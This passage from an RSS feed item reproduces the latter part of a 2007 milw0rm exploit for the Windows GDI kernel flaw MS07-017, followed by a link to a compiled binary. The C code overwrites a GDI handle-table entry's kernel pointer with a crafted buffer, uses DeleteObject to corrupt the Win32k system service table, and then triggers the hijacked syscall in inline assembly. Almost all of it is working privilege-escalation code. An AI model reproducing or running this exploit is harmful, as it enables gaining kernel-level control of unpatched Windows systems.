hMapFile, lpMapAddress, SBI.Size.QuadPart);<br/> gdiTable=(GDITableEntry *)lpMapAddress;<br/> PID=GetCurrentProcessId();<br/> <br/> for (i=0; i&lt;SBI.Size.QuadPart; i+=sizeof(GDITableEntry))<br/> {<br/> if(gdiTable-&gt;ProcessID==PID &amp;&amp; gdiTable-&gt;nUpper==Upr) //only our GdiTable and brush<br/> { <br/><br/> printf(&#34;gdiTable : 0x%x\n&#34;, gdiTable);<br/> printf(&#34;pKernelInfo : 0x%x\n&#34;, gdiTable-&gt;pKernelInfo);<br/> printf(&#34;ProcessID : %d\n&#34;, gdiTable-&gt;ProcessID);<br/> printf(&#34;_nCount : %d\n&#34;, gdiTable-&gt;_nCount);<br/> printf(&#34;nUpper : 0x%x\n&#34;, gdiTable-&gt;nUpper);<br/> printf(&#34;nType : 0x%x\n&#34;, gdiTable-&gt;nType );<br/> printf(&#34;pUserInfo : 0x%x\n\n&#34;, gdiTable-&gt;pUserInfo);<br/> <br/> Old=gdiTable-&gt;pKernelInfo;<br/> <br/> gdiTable-&gt;pKernelInfo=(ULONG)buff; //crafted buff<br/> break;<br/> }<br/> gdiTable++;<br/> }<br/><br/> if(!Del&#101;teObject(hBr))<br/> printf(&#34;Error with Del&#101;teObject : %d\n&#34;, GetLastError());<br/> else<br/> printf(&#34;Done\n&#34;);<br/><br/> printf(&#34;Buff : 0x%x\n&#34;, buff);<br/> memset(buff, 0x90, sizeof(buff));<br/> <br/> buff[0]=0x1; //!=0<br/> buff[0x24/4]=Win32kSST; //syscall to modifY<br/> buff[0x4C/4]=0x804D7000; //kernel base, just for avoiding bad mem ptr<br/><br/> if(!Del&#101;teObject(hBr))<br/> printf(&#34;Error with Del&#101;teObject : %d\n&#34;, GetLastError()); <br/> <br/> gdiTable-&gt;pKernelInfo=Old; //restore old value<br/> <br/> /* <br/> lkd&gt; uf GDI32!NtGdiAbortDoc<br/> GDI32!NtGdiAbortDoc:<br/> 77f3073a b800100000 mov eax,1000h<br/> 77f3073f ba0003fe7f mov edx,offset SharedUserData!SystemCallStub (7ffe0300)<br/> 77f30744 ff12 call dword ptr [edx]<br/> 77f30746 c20400 ret 4<br/> */<br/><br/> __asm<br/> {<br/> mov eax, 0x1000<br/> mov edx,0x7ffe0300<br/> call dword ptr [edx] <br/> }<br/> <br/> return 0;<br/>}<br/><br/>// milw0rm.com [2007-04-08]<br/><br/><br/>a compiled <a href="http://ivanlef0u.free.fr/repo/GDI-MS07-017.rar" target="_blank" rel="external">http://ivanlef0u.free.fr/repo/GDI-MS07-017.rar</a> ]]></description>
		</item>
		
</channel>
</rss>
